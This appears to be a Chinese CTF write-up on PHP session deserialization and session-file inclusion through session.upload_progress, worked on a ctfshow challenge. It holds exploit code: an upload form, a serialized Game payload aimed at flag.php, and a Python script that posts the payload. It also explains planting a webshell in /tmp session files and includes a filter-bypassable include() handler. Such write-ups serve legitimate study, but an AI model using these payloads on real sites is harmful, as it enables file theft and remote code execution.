session 反序列化

原理详解


ctfshow 新手杯 剪刀石头布

这里我们可以发现服务器使用的处理器为php_serialize,与当前页面处理器不同,在反序列化的时候会造成一些问题。同时cleanup配置没开,关闭了session自动清理,所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。

1.在线运行得到报文

html 复制代码
<!doctype html>
<html>
<body>
<form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

2.接着上传文件,抓包改数据包,修改文件名为序列化串

php 复制代码
<?php
class Game{
    public $log;
    public function __construct(){
        $this->log = "/var/www/html/flag.php";
    }
}
$a=new Game();
echo serialize($a);
#|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
?>

或者用python 发包

python 复制代码
import requests
url = 'http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/'
sessid = {
    'PHPSESSID':'succ3'
}
data = {
    'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'
}
file = {
    'file':'1'
}
req = requests.post(url=url,files=file,data=data,cookies=sessid)
print(req.text)


利用session.upload_progress进行文件包含和反序列化渗透

PHP_SESSION_UPLOAD_PROGRESS进行文件包含 (详细步骤条件竞争)

1在php5.4之后php.ini开始有几个默认选项

1.session.upload_progress.enabled = on

2.session.upload_progress.cleanup = on

3.session.upload_progress.prefix = "upload_progress_"

4.session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

5.session.use_strict_mode=off

python 复制代码
> 我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
> linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
> 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。
> 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
> 还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完

2.过滤了. 我们必须包含无后缀文件
利用session.upload_progress进行文件包含和反序列化渗透 php中唯一能控制的无后缀session

控制文件名字/tmp/sess_aaa

php 复制代码
<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
相关推荐
郑州光合科技余经理10 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行10 天前
网络安全总结
安全·web安全
feifeigo12310 天前
matlab画图工具
开发语言·matlab
dustcell.10 天前
haproxy七层代理
java·开发语言·前端
norlan_jame10 天前
C-PHY与D-PHY差异
c语言·开发语言
多恩Stone10 天前
【C++入门扫盲1】C++ 与 Python:类型、编译器/解释器与 CPU 的关系
开发语言·c++·人工智能·python·算法·3d·aigc
QQ40220549610 天前
Python+django+vue3预制菜半成品配菜平台
开发语言·python·django
遥遥江上月10 天前
Node.js + Stagehand + Python 部署
开发语言·python·node.js
m0_5312371710 天前
C语言-数组练习进阶
c语言·开发语言·算法
Railshiqian10 天前
给android源码下的模拟器添加两个后排屏的修改
android·开发语言·javascript